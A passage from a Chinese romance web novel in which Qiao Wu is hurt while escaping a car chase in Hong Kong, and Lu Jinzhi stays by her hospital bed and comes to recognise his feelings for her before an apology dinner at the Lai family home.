姜奇捶了他一拳:“都说了我不知道,你剧本里不是有感情戏?自己琢磨去。” 陆宣被这一句话折腾得脑袋都冒烟儿了,但依旧没有放弃。 找了个角落就抱着剧本苦读,比上学那会儿争第一还要认真。 他在等,等自己能理清所有的思绪,像乔梧说的那样想明白他们之间的关系,他就可以名正言顺地说自己不用戒断了。 从剧组出来后乔梧直接去了跟赖云娇约好的地方。 是一家在半山富人区的餐厅,每天限号发放座位,所以人很少。 乔梧才进门还没找到赖云娇的位置,肩膀就被人拍了一下。 她回过头一看,竟然是好久不见的钟禾静。 对方笑道:“果然是你,我还以为看错了呢,你怎么在这儿?” “有点工作。”乔梧问,“你呢?” “钟茹最近有点烦,我干脆来这边疗养院待一段时间,内地钟闵大致能接手日常工作了。”钟禾静看了她周围一眼,“你一个人?” “跟一个朋友约了……” 乔梧话没说完,就听楼上有人喊了一声自己的名字。 她抬起头一看,是从不远处走来的赖云娇。 赖云娇从乔梧进门时就看到她了,正准备让服务生把她带过来,却没想到后面又多出来一个人,所以打算亲自过来。 想着自己曾经的承诺,乔梧便介绍两人认识了一下。 赖云娇主动道:“如果没其他同伴的话,一起吧?” 本来钟禾静在这边就没什么朋友,今天也是一个人出来吃饭,所以欣然应邀。 这两人气场很合,可能是目的都一样,所以没几句话下来就已经很熟悉并且交换了对方的联系方式。 得知乔梧和赖云娇要一起去拍卖会,钟禾静当下表示自己也想去玩一玩。 于是原本的二人行变成了三人行,赖云娇也懒得再多开一辆车,直接坐进了乔梧的车里。 启动车前,乔梧端详着钟禾静的状态:“你最近气色看着好多了。” “没看到糟心人糟心事自然就好了。”钟禾静心情不错,“所以钟茹才会一直来烦我,看着我有起色了想把钟闵赶走,所以我干脆说疗养过来了。” 乔梧笑了笑。 这个时候哪里还能由得钟茹做主。 “说起来还是多亏了你,你可是我的救命恩人。”钟禾静拍拍她的手,“一会儿看上什么,我来买单。” 一笔钱换一条命。 怎么都不亏。 原本赖云娇以为乔梧之所以能有这么多人脉,或许是因为背靠着陆家这棵大树,但现在一听却发现,好像都是对方自己挣来的,因为钟禾静从头到尾都没有提过任何跟陆家有关系的事。 她刚要说话,却忽然接到了保镖的电话。 能靠自己爬到今天,赖云娇不会在任何时候掉以轻心,所以哪怕她只是出来私人约会,也会有保镖一直跟着,没有特殊情况对方也不会来找她。 她沉了沉眸:“说。” “三小姐,有几个人一直跟着,你们上车后他们也有两辆车跟在后面。” “处理了,接我。”迅速把电话挂了,赖云娇对乔梧道,“抱歉,我突然有点事今天不能陪你们去了,我现在需要下车。” 乔梧听到了她接电话,以为她有什么重要的事,知道她有保镖跟着便在路边将车停下。 赖云娇下车的一瞬间,就有好几个保镖走上前将她团团围住,护着上了身后的那辆车。 “怎么了?”钟禾静吓了一跳。 乔梧看了后视镜一眼,也有些担心,但她不清楚任何情况,如果真发生了什么也没有那么多保镖管用。 “晚点再问。”她重新发动车子。 而赖云娇在上了保镖的车后,一边穿上对方递过来的防弹衣一边问:“怎么回事?” 赖家在港区根深蒂固很多年,早年间也做一些不干净的声音,所以赖家人一直以来都会绷着一根弦,很有安全意识。 她来这里吃饭除了乔梧谁也没告诉,再有人知道也只有跟来的保镖了。 不可能是乔梧,赖云娇有自己的判断力。 对方只身一人前来还带着朋友,不会那么蠢,更何况这里是港区。 “不清楚,您去之前那些人是不在的。”保镖的话音忽然顿住,“他们走了,好像是跟着您朋友去的。” 赖云娇动作忽然停了下来,震惊抬头:“你说什么?” “拐弯了,是您朋友的方向。” “追上。”赖云娇立刻道。 她答应过,会保证乔梧在港期间不会受到遇到意外,更何况两人以后会是合作关系。 这么想着,她立刻给乔梧打了电话。 乔梧正在开车,看到来电人后眉心轻轻皱了皱。 对方刚下车不可能不知道她在开车,这个时候打电话一定是有什么急事。 她划开免提。 “有两辆车跟着你。”赖云娇不多说废话,“现在听我的,换路线,前面路口掉头。” 乔梧的车开得慢,所以跟后面的两辆车很近,如果这时候贸然停下来回更危险,因为她这边的车没跟上,只能让她们继续走。 而听到声音后的乔梧毫不犹豫在通过下一个路口的时候直接一把方向盘将车头掉了过来,踩在油门上往前开。 与此同时也看到有两辆车紧跟着掉了头,速度相当快。 “有头绪吗?”赖云娇问。 乔梧瞬间明白她的意思,紧紧握着方向盘,言简意赅:“没有。” 不管是哪一段记忆里都找不到任何会在这里跟着自己的人。 等会儿! 她车上还有一个人。 果不其然,下一秒同样也听见了通话的钟禾静语气平静地说:“你下车吧。” 乔梧心里咯噔一下。 在原剧情里钟禾静早早就因为药物的事情死亡,可现在她身体越来越好,还有了很强的警惕性把身边的人都换了个干净,总会有人坐不住。 “乔梧。”钟禾静再次开口,语气却强硬了很多,“车给我。” 乔梧的良知和理智在剧烈斗争。 对方如果真是冲着钟禾静来的,一定做了充足的准备,而她只是来参加拍卖会而已,赤手空拳,她不是超人。 但是… 她呼吸乱了一瞬,却徒然加快了速度:“坐稳。” 电话里的赖云娇也听出了不对劲,但是钟禾静是她才认识的朋友,是她一直很欣赏的女性,所以她也不会袖手旁观。 “下个路口右拐。”赖云娇指挥道,“我安排人接应你们,警察很快就到。” “他们的目标是我。”钟禾静扭过头,表情是从未有过的着急和怒意,“你把车给我,我会自己搏出一条路来的。” 她怕死,也不想死。 但更不会拉着乔梧跟她一起冒这个险。 这是目前最保险的决定,拿到车她的命就自己来挣。 “你也说了,你的命是我救回来的。”乔梧说,“现在的情况是,我比你更有优势活下来。” 钟禾静生病了这么多年,出行都是靠司机,开车恐怕已经不熟练了。 “我常跟陆应池去零环线。”乔梧说,“信我。” “你疯了?!” 这个时候也不可能去抢方向盘,乔梧不停下来钟禾静一点办法都没有,跳车更是不可能。 “我们后面还有人。”乔梧安抚她,“没事的。” 她继续踩着油门,将速度再次加快。 后面车里的人早就意识到被发现,绝对不能让车开进市区里去,所以也加快了速度,试图逼停前面的车。 半山公路上,三辆车飞速前行。 哪怕乔梧再怎么跑过零环线的山路,也不会有人这么从旁边别车,她手心都冒起了汗:“看着周围,如果有突发情况你知道怎么避险的对吧?” 她要把所有的注意力都放在不熟悉的路况上,以及要偶而超越前面的车,听着赖云娇的指挥。 已经没有多余的精力再去嘱咐钟禾静什么了。 钟禾静感觉自己的嗓子被完全堵住,根本说不出任何话来,只能重重用鼻音回应她。 “两分钟。”赖云娇说,“坚持两分钟。” 说完后没听到回答,赖云娇皱眉:“乔梧?” “嗯。”乔梧低低应了一声,“我在听。” 她现在根本没有时间的概念,脑子已经自动把那些没有必要的信息都给丢出去了,她甚至感觉自己有点耳鸣,脑袋都是空白的。 直到隐隐约约听到有警笛的声音,她才勉强找到一点意识。 “前面设了路障。”赖云娇道,“别停,减速。” 乔梧终于松开了油门。 但显然周围两辆车也听见了越来越近的警笛声,其中有一辆车直接朝着乔梧的方向撞过来。 身后有车,不能刹车。 “坐好。”乔梧说着,顿时将方向打朝着山体的斜坡,避开了那辆车的全速冲撞。 而她的车顺着坡度滑上去,撞到了不少乱七八糟的东西,减缓速度后她一脚踩下刹车。 另外两辆车避开不急,一辆踩了急刹与另一辆侧翻在路边的车头相撞。 被安排在前方接应的人立刻上前,赖云娇和警察几乎前后脚到达,疯狂拍打车窗:“怎么样了?没事吧!” 钟禾静一直记得乔梧说的话,遇到特殊情况要避开,所以冲上来那一瞬间她稳住了自己,但她听到了什么磕到的声音。 她解开安全带颤着手去看乔梧,对方牢牢握着方向盘,脑袋靠在上面。 “乔梧!” 钟禾静掰过来她的身体,发现她眼睛紧闭额头上还流了些血,瞬间失声。 手忙脚乱去解锁车门,钟禾静越过乔梧的身体打开主驾驶那边的门,帮她解开安全带:“救护车,快!” 医生早就等在路障那里了,这会儿已经赶到,所有人慌张来想把乔梧抬上担架的时候。 乔梧的手终于动了动。 “我没事。”她声音很轻,阖着的眼睛抬了抬,“先别碰我,让我缓一会儿。” 头是撞了一下,但影响不大。 她就是,回不过神。 空白的脑子里什么都想不到。 听到周围喧闹的声音以后,她渐渐找回了一点实感,哑声自语:“还真是狗血文啊。” “什么血?” 听到钟禾静的哭腔,乔梧回头笑道:“你哭什么,又不是死了。” 见对方惨白的脸上全是控制不住的眼泪,她喃喃:“我不会轻易死的,我还没活够。” 钟禾静胡乱抹了把脸:“你流血了,先跟医生去医院。” 终于回过一点神的乔梧嗯了声。 虽然她再三强调自己没事,但还是被医生抬上了担架,看到那两辆撞在一起的车时她侧过头。 旁边的赖云娇道:“里面的人我会让人先替你们处理。” 有了赖云娇在,乔梧连夜全身上下都做了一整套检查,除了磕的那一下有点轻微脑震荡外其他地方都没受伤,但还是被要求在医院住一晚上再说。 乔梧躺在床上,忽然很庆幸今天提前说过,不准陆宣给她打电话。 “可以给我点助眠镇定的东西吗?”她对医生道,“我想休息一会儿。” 知道她是被吓到了,医生点点头:“放心。” “我在这儿守着你,你睡吧。”钟禾静说,“一会儿我给你家人说一声。” “不用,没什么大事不要让他们担心了,明天一觉醒来我就好了。” 提起这个,乔梧还记得拿出手机给陆尽之发消息。 报平安。 发完消息后她也不想再管任何事情,也不管钟禾静要不要守在这里,那些人那些事要怎么处理,安静地合上眼。 至于是什么时候睡过去的她不知道,再次睁眼时天还是黑的。 医生打的药没什么效果? 不过精神倒是好多了。 乔梧有点口渴,想起来先喝杯水。 但她才坐起身来摸索灯光,就见病房的沙发上坐着个人。 看不太清脸,只是窗外有些许灯光照进来,看到那人高大颀长的身形。 不是钟禾静。 乔梧思维有点迟钝,她刚要去摸床头的铃,那人却忽然动了。 几步走到床前,打开了病房里的灯。 乔梧被刺眼的灯光激得忍不住闭了下眼睛,再睁开时视线渐渐清晰,也终于看清了站在病床旁的人是谁。 “陆尽之?!” 男人漆黑的眸子垂着,脸上看不出一点平时温和的笑意,淡得令人发慌。 这个时候的乔梧才意识到,二十七岁就能让所有质疑他的人闭嘴的陆尽之,在伪装出来的壳子和平时温和的皮下藏着多冷淡的压制。 他伸出手,温热的指尖探出来。 乔梧下意识想躲。 但陆尽之微微俯身,另外一只手以不容抗拒的力道卡住她的下巴往上抬。 指尖从她额头贴着纱布的位置下划过去,指腹停留在纱布上。 乔梧觉得他想按下去。 但陆尽之只是停在那里就没动了,那双裹着冷意的眸子从那个伤口上移到她的眼睛。 “平安?” 他一字一句。 第66章 第六十六章要确认的事 十多岁的少年忽然把长大后所有的凌厉都露出来,乔梧不禁有些愣怔。 她原本以为之前在津岛就是陆尽之生气的样子,但发现她错了,现在才是。 乔梧听出来了他没说完的话。 你就是这么报平安的? 有点心虚。 被抓了个现成她也无法辩驳,只好转移话题:“你怎么在这儿?” “我也想问。”陆尽之语气很淡,“平安的人怎么会躺在这儿。” 左右绕不过去了,乔梧只好垂眼承认自己的错误:“我怕你们担心。” 原以为她说完后陆尽之就会消一点气,但没想到桎梏在她下巴上的力道更重了点。 “我不明白报平安的意义是什么。”陆尽之迫使她微微仰起头与自己对视,“是为了找个人收尸?” “没那么严重…”对上他越发幽深的视线,乔梧实在理亏,“好吧是我不对。” “乔梧。” 陆尽之用跟以往完全不同的语气,冷冰冰地喊她。 “你真的以为你无所不能吗?” 这话像一根针一样插进乔梧的心里,她艰难地动了动唇,可却没发出一点声音,只是愣怔地仰着头看他。 那种极致的空白的与命相搏的记忆从眼前一一划过,就像是看不清前尘的走马灯。 下一瞬她的下巴就被松开了,陆尽之收回手没再说话,沉默地按了呼叫铃。 乔梧也不知道要说什么,她想起自己起来是要喝水的,所以下床准备去倒水。 只是她才走了一半,一只手就越过她拿过杯子去涮干净,又拿回来倒了杯水递到她面前。 乔梧低声说:“谢谢。” 她接过杯子一饮而尽,水从喉咙中冲下去的感觉让她觉得很安心。 陆尽之还是没说话,将空杯子抽出去后又接着倒水。 乔梧看着他的动作,忽的道:“其实我很害怕。” 水壶被放在桌上,陆尽之没回头。 像是知道他在默许,乔梧轻声说:“我也不知道为什么。” 她一直觉得自己是自私的。 只为了自己而活,为了自己认可的利益活。 做任何事情都很有自信,成竹在胸,因为她活了两辈子,也得到了过去从未得到的资历地位金钱能力,所以她觉得这世上没有什么问题是不可逾越的。 她还信誓旦旦地跟陆宣说,她不是菩萨。 其实她跟钟禾静只有那点小时候的情谊,长大后也没有那么熟,只是一个很普通的朋友而已。 可以力所能及的帮忙,却不是可以为对方搏命的交情。 所以在事情发生那一刻,她的理智告诉她这事儿不用管。 只要像钟禾静说的那样,下 车,把车交出去,她就能安安全全地度过这个危险。 她可是经历过两辈子的人,那么惜命的人。 但真的到了那一刻,她依旧放不开手,她甚至没有想太多就告诉钟禾静自己要留下来了,她也……算不到自己是不是真的能度过这个危险。 所以直到所有的事情尘埃落定的时候她根本回不过神,手和脚都仿佛不是自己的,不敢睁开眼看眼前是什么样的景象。 哪怕来到医院里,她依旧心悸不止,需要靠医生给的药物才能让自己睡觉。 她到现在都不知道自己为什么要做那么蠢的选择。 虽然才喝了水,可她依旧觉得自己喉咙很干涩,吞咽了几下才可以发出声音:“我没有无所不能。” “陆尽之,我很害怕。” 虽然没有打算告诉任何人自己经历了什么。 但看到是陆尽之在这里的时候,她真的很高兴。 那颗悬着的心骤然降落,被瞬间填满了安全感。 所以这个时候的她忍受不了陆尽之再对她那么冷淡了,既然陆尽之体会不到,她就主动告诉他,她需要一点更多的安慰。 嗒的一声,玻璃杯被放在桌面。 眼前高大的男人终于转过身来,两人只隔了不到一臂的距离。 乔梧抬眼,跟他发沉的眸色相对。 “你跟我说……” 句话吧。 她未完的话音被突如其来的力道拽走,淹没在宽阔的胸膛里。 乔梧小时候被父亲和保姆抱过,被陆宣他们几个小孩胡闹着抢夺抱过,唯一一次被陆尽之抱是因为跟陆宣玩捉迷藏被扔在他房间里了。 在后来的很多年里就没再体会过被人抱着的感觉。 或许是从上辈子开始就习惯性自我保护,来到这里后也是一直在保护别人,所以她都没有意识到自己其实也很需要一个拥抱的。 她对别人没有任何要求,无非就是一句安慰的话而已。 可陆尽之给了她一个拥抱。 以前陆柠说过她身上有书卷的味道,她一直都没发现自己身上有什么味道,可现在却闻到了,陆尽之身上好像淡淡的书香。 她不合时宜地想,原来陆尽之有这么高,这么有安全感。 之前桎梏住她下巴的手,此时停留在她的后脑,继而缓慢往下顺,顺到她的后脖颈,不轻不重按了按。 晚上的医院很安静,安静到乔梧几乎都听到了陆尽之的心跳声。 连带着她也似乎听到了自己的心跳。 她轻轻拽住了陆尽之的衣摆,而后感受到对方胸膛的轻微震动。 “多亏了你。” “什么?” 陆尽之垂眸看着她头顶的发旋,在有意识之前就已经抬手按在上面了。 “这叫害怕。”他没什么情绪地挑了下嘴角,“多亏了你,我知道了。” 乔梧下意识垂眼挡住自己的眼睛。 看到她眼睫的颤动,陆尽之又道:“是我,不是你。” 乔梧不解抬头。 可陆尽之眼神却没什么变化,他只是平静地在道出一个事实。 “乔梧。”他说,“我在害怕。” 这么多年以来,陆尽之从来没有体会过害怕的情绪。 一般只有别人害怕他,不过那更确切来说应该叫做忌惮,是不敢看不敢说不敢反驳。 得到消息时他才从落地机场。 过来的一路他最明显的感知就是生气和不高兴,但还夹杂着另外的情绪,抓不住的剧烈心跳和焦灼,以及直到他站在病房门口推开门那一瞬间的迟疑。 他怕她真的出事。 他清楚地知道自己不会再像以前那样对她的消失无动于衷。 可当进门看到躺在床上睡得并不安稳的人时,他所有的感知都消失了。 乔梧睡了一天一夜。 他也盯着床上安静的人看了一天一夜,狭小的病房成了他囚住自己很多念头的牢笼。 幸好是他开的灯。 意识到对方说的是什么意思,乔梧觉得更加愧疚,她情绪已经好了很多,主动从陆尽之怀里退出来。 后者只是看了眼胸前微微的褶皱,没什么反应地收回了视线,重新回头去倒水。 被唤来的医生在这个时候走进来,钟禾静和赖云娇跟在后面。 钟禾静先是飞快地看了一眼陆尽之,随后跑到乔梧身边,焦急地等着医生的检查成果。 “没什么事了,你们一会儿就可以回去。” “真的没事吗?”钟禾静放心不下,“她睡了一天一夜。” 乔梧惊讶地抬头。 原来是已经过了一天,难怪外面的天是黑的。 “可能是受到了太大的惊吓。”医生说,“我一会儿再开些安神的药回去吃两天就好了。” 这已经是最好的结果,乔梧接受良好:“谢谢医生。” 等医生走后,钟禾静眼睛才发红地紧紧抱住乔梧:“对不起,都怪我。” “怎么什么都往自己身上揽。”乔梧好笑地拍拍她的胳膊,“我不是没事儿么,怎么样,解决了吗?” “早些年留下来那些亡命徒。”赖云娇说,“跟她……” 她没说完。 但乔梧能猜到,是钟禾静的父亲。 “我会处理。”钟禾静已经冷静了下来,“你没事就好,我明天就回内地。” 这些事乔梧不太关心,跟她的确也没什么关系,她能做的不能做的都做了。 她现在比较在意的是另一件事。 她指着陆尽之:“他怎么知道我在这儿?” “我本来打算去拍卖会的时候跟你说的。”赖云娇解释,“赖深被我父亲禁足了,为了致歉,我父亲在家里备了桌歉宴邀请陆总过来,邀请函在当天晚上就发出去了,陆总也是第二天来的,所以他就知道了。” 说是致歉,但赖父一直想打开内地市场。 之所以邀请陆尽之而不是其他人,就是借着这个由头结交对方。 反正陆家现在是陆尽之说了算,对他道歉是最有用的。 乔梧明白了。 “不过因为昨晚你在医院,所以推迟到明天了。” 她万万是没想到乔梧真的一点都没说谎,陆尽之真的把她看得很重。 从飞机落地过来到现在,陆尽之连病房门都没出过。 除了刚开始的交流,其他时间他也不跟其他人说话,愣是把她和钟禾静都给逼得自己出去了。 赖云娇问:“怎么样,今晚直接去我家?” 人家邀请的是陆尽之, 乔梧去那里没什么必要。 她跟陆尽之一向公是公私是私,不会太过干涉对方的一些日常应酬和工作。 更何况陆尽之没有跟她提起过,应该也是有他自己的打算。 “我回酒店。” 赖云娇当即点头道:“行,有陆总在的话,我们就先走了,陆总,明天见。” 乔梧眨了眨眼。 不是,她的意思是她回酒店,不是陆尽之啊。 她又不做陆尽之的主。 可她没来得及说话,就见赖云娇推着钟禾静出了病房。 “我想再看看她。”钟禾静迟疑着说。 “陆总在你还看什么?” “他看他的,我看我的,有什么冲突吗?” 赖云娇挑眉:“你们小时候真的在一起玩过?” 她是第一次见陆尽之,对方比她那两个哥哥看着有城府多了,而且并不是那种圆滑的生意人,眼珠很直,只看得见一个人。 这次乔梧是因为钟禾静才受的伤,要是陆尽之追究起来,钟禾静讨不到什么好处。 “他们以后会结婚吗?”赖云娇问。 钟禾静脚下踉跄:“你说什么?” “不是青梅竹马?” “严格说起来,乔梧跟陆宣才算青梅竹马。”钟禾静回想着,“陆尽之平等瞧不起任何人。” 想到船上的那个陆家老三,赖云娇意味深长地拖长了语调:“噢~” 陆家的确不比她家单纯到哪里去。 病房里,等医生把药拿回来以后,乔梧起身去拿起自己的外套穿上,回头问陆尽之:“你也去酒店?” 对方应了声。 乔梧没多想,跟他一起走出门。 车已经被拖走了,她现在也只能坐陆尽之的车。 今天陆尽之的话出奇地少,乔梧猜到有一部分是因为她的欺骗,但她今天实在没有多余的精力去道歉。 再怎么说,这事儿也怪不到她头上。 所以她也没说话。 一直到了酒店她才发现不太对,看着一直跟在自己身后的陆尽之,她打开门说:“我到了。” 你呢? 回你自己房间。 下一秒,身后伸出一只手替她将房门推得更开,然后擦着她的身侧进去了。 乔梧:“……” 她错愕地望着陆尽之自然的动作。 难道是有话要说? 陆尽之说过,他的房间她可以随便进,那酒店里没什么,她也没那么介意。 乔梧跟着进门,先是去倒了杯水,然后在沙发上坐下。 刚准备吃药就听见陆尽之打了酒店的内线电话,让酒店送餐上来。 她的动作微微一顿,抬眸望着他。 陆尽之虽然在打电话,视线却一直落在她拿药的手上。 莫名的,乔梧把拿药的手放下了。 睡了那么久她居然也不觉得饿,把吃饭的事情忘了。 原来他是过来一起吃饭的。 酒店效率很快,没一会儿就把准备好的饭菜都送上来了。 陆尽之是一个晚回家都要提前让厨师备菜的人,但现在吃着这些他也没说什么。 乔梧没什么胃口,勉强果腹后就停下了动作。 坐在他对面的陆尽之微微掀起眼睑。 想到因为自己,陆尽之还推迟了跟赖云娇父亲的那顿饭,乔梧还是示了弱:“抱歉,让你们担心了。” 陆尽之显然也没吃多少,他放下叉子擦净嘴巴:“不是你的错。” 乔梧下意识说:“但你一直没跟我说话。” 对面的男人动作顿了顿,漆黑的视线落过来,一晚上没什么表情的脸上忽然染了浅浅的笑意:“你觉得我在生气?” “不是吗?”乔梧说,“你不希望别人骗你。” 陆尽之嗯了声:“但你不是别人。” 就跟他当初说,别人不可以进我房间,但你可以一样。 那么自然。 “那为什么?” “因为在想事情。” 刚开始的确是生气。 但陆尽之分得清生气是要出气的,这样他才会舒服才会放下。 可当乔梧站在他身后,轻声跟他说害怕的时候,他发现自己并不想对她出气。 他只是找不到任何方式来发泄那会儿心里的沉郁。 直到转身看到她只身一人站在那里,不再像过去那么从容,那么无所不能的时候,他感觉心脏被人塞满了气球,充盈着越来越大,堵着他的胸腔他的喉咙。 她不该一个人,她身边该有人的。 几乎没有思考,他就找到了应对的答案,把这个人拉进了自己的怀里。 能够体会到她的体温,她的存在,让她跟自己站在一起,贴在一起。 在那一瞬间,所有曾经困扰着他的事情迎刃而解。 他只是迟钝,并不是什么都不懂。 见陆尽之又沉默了,乔梧实在好奇,伸手在他眼前晃了晃:“怎么了?” 怎么把他这种天才都困惑成这样? 难道是赖家的事还有其他隐情吗。 陆尽之并不喜欢参加饭局宴会,看他回国时来自己的欢迎晚宴都不跟太多人应酬就知道了。 赖家一个道歉的饭局可能真的不简单。 所以乔梧主动问:“为什么要答应这个饭局?” 下一秒,她的手被宽大的手掌抓住。 陆尽之没看她,而是看着两人相触在一起的手,他的手指覆盖在对方微凉的指尖上。 这动作实在有点不太合适,乔梧下意识想要把手收回来。 可她没抽动,因为陆尽之抓得更紧了。 “陆尽之?” “嗯。”陆尽之感受着手心的温度,如墨的视线黏着纤细手背上清晰的血管,声音缓慢,“因为有件需要确认的事。” 果然。 “我能帮吗?” 片刻后,陆尽之忽然笑了声:“你当然能帮。” 第67章 第六十七章只有你能帮 “嗯?” 乔梧摆出一副洗耳恭听的姿态。 只不过陆尽之却只是松开了她的手:“不急。” 温度散开,乔梧后知后觉刚才手上覆盖了层什么东西,她手指轻轻抓了一下空气,又收回来:“那你需要的时候再跟我说。” 男人声音里笑声更加明显:“那我担心你吃了药也睡不着。” 乔梧疑窦地瞄他一眼:“这么严重?” “嗯。”陆尽之觉得这种体验很新奇,连他自己都不太能确切说明,他想自己是睡不着的。 所以现在并不是跟她讨论这件事的好时机。 至少,要在她心情比较轻松没有顾虑的时候。 而不是刚从生死线上蹦迪回来,连饭都不记得自己吃没吃的时候。 他莞尔:“并不是五年合约就能说明的问题。” “那你还笑得出来?” “是件好事。”片刻后他又补充,“对我来说是,希望对你也是。” 如果不是。 那就很糟糕了。 看陆尽之表情并不是假的高兴,乔梧真是一点都摸不着头脑,但如果是好事的话应该不严重。 “我今天想早点休息。”她暗示。 “嗯,睡吧。” “……你不回房间?” “没订。” 乔梧脱口而出:“那你昨晚……” 语调倏忽一凝,她醒来时陆尽之就坐在沙发上,病房里也没有其他床可以给他睡,赖云娇还说饭局被推迟了。 “你在沙发上睡了一晚?”她不太确定地问。 他不是会这么委屈自己的人。 没睡。 一直在思考,只略微眯了一会儿。 可陆尽之并不愿意在这个时候跟她去讨论睡沙发是不是合理的事情,他把放在一边的药拿起来看了眼说明,打开包装拿出一颗放在纸上放在她面前:“把药吃了早点睡,我去客房。” 这个动作让乔梧产生了一种自己正在被照顾的奇怪感觉,她说:“我给你再订一间吧。” 上次陆宣都被他连夜赶出去了。 但陆尽之却淡声道:“我希望今晚能睡个好觉。” “我已经安全了。” “抱歉。”陆尽之站起身来,将自己的外套一边脱下一边朝客房走去,“现在的你在我这里没有任何可信度。” 乔梧:“……” 她竟然无法反驳。 不过陆尽之能睡在隔壁,她心里好像也会更安心一点,所以她并没有坚持。 她拿起纸上的药吃下,喝完水一抬头,发现陆尽之还站在房间门口看着她。 她露出疑惑的表情。 “晚安。”陆尽之说。 乔梧有点茫然:“晚安。” 那道门轻轻合上,她压着心里怪异的感觉也回到自己的房间。 不知道是不是错觉,她总觉得现在的陆尽之好像有什么地方变了。 一墙之隔的卧室里,陆尽之并没有开灯,透过门缝看到外面的灯光熄灭后才收回视线。 他坐在卧室的阳台上,冰凉的秋风将指尖的烟吹得明明灭灭,没穿外套的他却毫无所觉。 其实他没有抽烟的习惯,但每次想事情的时候总喜欢点上,给视线寻一个固定的焦点,一根烟常常是他给自己留下的思考时间。 之前一直待在病房里,他一直没点。 哪怕有接连着一天一夜没怎么睡,他现在也没有任何睡意,思维从来到港区时就一直在飞速转动,叫嚣着要给他一个答案。 他好像有了。 但却陷入了棘手的情况。 陆尽之不愿意将不好的词用到自己身上,但在潜意识里他一直都清楚自己是个什么样的人。 一个混蛋。 一个冷漠的无法共情别人的混蛋。 从家里那几条小狗骂他就看得出来。 这样的他如果要进入一段感情,是一件很艰难的事。 所以当他意识到这件事已经 发生了的时候,说明事情已经难以挽回了。 虽然他并不想挽回。 因为脑海里的关于乔梧的天秤已经没有办法再运作。 就像他不喜欢应酬,也不管对方到底是姓赖还是姓其他。 他只是在看到那张照片时,急切地想要通过某种方式来让自己找到平衡,最好的选择就是立刻见到她。 没有办法理智。 一支烟在指尖燃尽,陆尽之将烟头按灭,整个人再次陷入黑暗里- 乔梧这一觉睡得比前一晚要安稳很多,接连睡了两天整个人的精神也好了,她起床去洗了个澡。 额头上还有一块还裹着纱布,昨晚刚换完药她也没太多精力去仔细打理,所以没能洗头。 今天她花了很多时间小心翼翼,可洗完头后纱布还是被打湿。 想到昨天带来的药在外面,她打开房门,没想到穿戴整齐的陆尽之已经坐在了书桌前办公。 听见声音他微微抬头:“醒了?” 只是说完后他却没有移开目光,而是很专注地看着她。 虽然乔梧也换好了衣服,但除开昨晚在医院那种情况,她也是第一次这么不太“体面”的出现在陆尽之面前。 她摸了摸头上的毛巾,解释说:“纱布湿了,我先换个药。” 陆尽之神色没太大变化,轻轻嗯了声。 但乔梧拿起桌上的药品后,一转身他也跟了过来,并且动作自然地俯身从她手里将那些药品接了过去,轻轻按着她的肩膀:“我来。” “不用那么麻烦。” 陆尽之垂眸笑道:“我现在不相信你。” 不是。 这件事是过不去了吗? “晚上六点去吃饭,明天一起回内地?” 乔梧要拒绝的话卡在嘴边,被带歪了思路,身体也随着陆尽之轻微的力道坐在沙发上:“我也去?” “去吧。”陆尽之慢条斯理地拆着东西,“我不想一个人。” 乔梧发现这人的依赖反应跟其他人是相反的。 其他人说了以后会下意识改正,但陆尽之是你越说他越变本加厉。 她提醒:“你二十七岁了。” 陆尽之俯下身,将她额头上的纱布轻轻扯下来。 被胶带贴住的那部分皮肤留下了一道浅浅的痕印,还有些胶带残留在上面。 他的指腹紧贴着那个部位,用了些力道将残留的胶带来回揉搓抹掉,原本白皙的皮肤被揉出浅粉色的痕迹。 直到被揉搓发烫,跟她总是冰凉的指尖形成两种极端。 他目光跟胶带一样黏在上面,不徐不疾地说:“有冲突吗?” 乔梧看不见自己脑袋是个什么情况,她现在目之所及全是陆尽之。 他的衬衣,他的领带,他怼到自己眼前的喉结随着他说话的声音缓缓而动,她想挪开视线都不行。 “你是陆宣吗?”乔梧说,“吃个饭还要人陪。” 陆尽之轻笑:“有人陪的话,你说是就是吧。” 现在居然连陆宣都攻击不到他了。 他的战斗力好像又变强了。 冰凉的消毒酒精擦在额头,乔梧被刺激地下意识往后仰了仰。 一只手按在她的耳后,不容她往后退迫使她仰着头,跟昨天的安抚不同,他的手掌托着她的半张脸,拇指的指尖就覆在她耳垂后。 乔梧感觉命脉仿佛被抓住,整个人都被架起来,让她很不自在。 陆尽之一直专注在她伤口的视线下移,看向她的眼睛,温声道:“别躲。” 所以这种事还是自己来比较好,乔梧快受不住了,她忍不住问:“还没好?” “快了。” 话是这么说,但陆尽之可能是第一次做这种事儿,所以动作很慢,每一步都要细细钻研分析。 消毒结束敷上药,盖上纱布,再用胶带贴好,他愣是磨蹭了好几分钟。 乔梧脖子都酸了。 她忍不住扭了扭。 看到她皱起来的脸,陆尽之笑了下,那只拖住她脸的手再次伸过来,在她脖子上加了些力气按了按,像是在替她疏通经脉。 虽然有点狗咬吕洞宾的嫌疑,但乔梧还是忍不住说:“下次这种事就别自己亲自做了行吗?” 找个酒店员工都比他做得好。 陆尽之像是听不懂她的嘲讽,给她揉脖子的力道重了几分:“不行。” 乔梧这才反应过来自己还在人手里呢。 她拍开陆尽之的手站起身:“我去吹头发。” 这次陆尽之没再拦住她,而是坐下来收拾桌上换下来的东西。 看着染着淡淡血渍的棉签和废弃的胶带,他的眸子才渐渐变得幽深。 两只手的温度一路灼烧,烧到到他的四肢百骸五脏六腑,微微发麻。 虽然说着不去陪陆尽之,但乔梧一直记得原本她的打算就是留在酒店里确定他这一趟没有任何意外才会离开。 现在陆尽之开了口,去的话当然会更好。 所以她最后还是跟着一起去了赖家。 相比于赖深那场假惺惺地道歉礼,这次赖家给的礼数和排场都很周到。 赖父和家中四个孩子都到了。 做错事的赖深惨白着脸,现在已经不见当初的嚣张跋扈,全程站在角落里安静如鸡,毕竟桌上所有人中他最没有发言权。 连带乔梧,他现在都不敢再看一眼。 那晚他已经清清楚楚乔梧在陆家不仅是个管家而已,因为没有谁家的主家会把管家供着捧着。 赖父年纪大,做事自有一套标准,他已经从三女儿那里知道了乔梧的身份,却也没有因为对方只是个管家而小瞧她。 哪怕陆尽之在这里,他都记得这次饭局的起因,所以打完招呼后就直接从后面推了赖深一把:“给乔小姐道歉。” 赖深低眉顺眼:“乔小姐,这次是我莽撞冒犯到你们,实在很对不起。” 乔梧没听到陆尽之出声,知道他这是要自己来全然做主的意思,便笑道:“那天一时情急也动了手,没伤到吧?” “打断了腿扔海里也是他该的。”赖父恨铁不成钢地说完,深深地看了乔梧一眼,“两位请进吧。” 这个年轻小姐看着气度不凡,也的确很聪明。 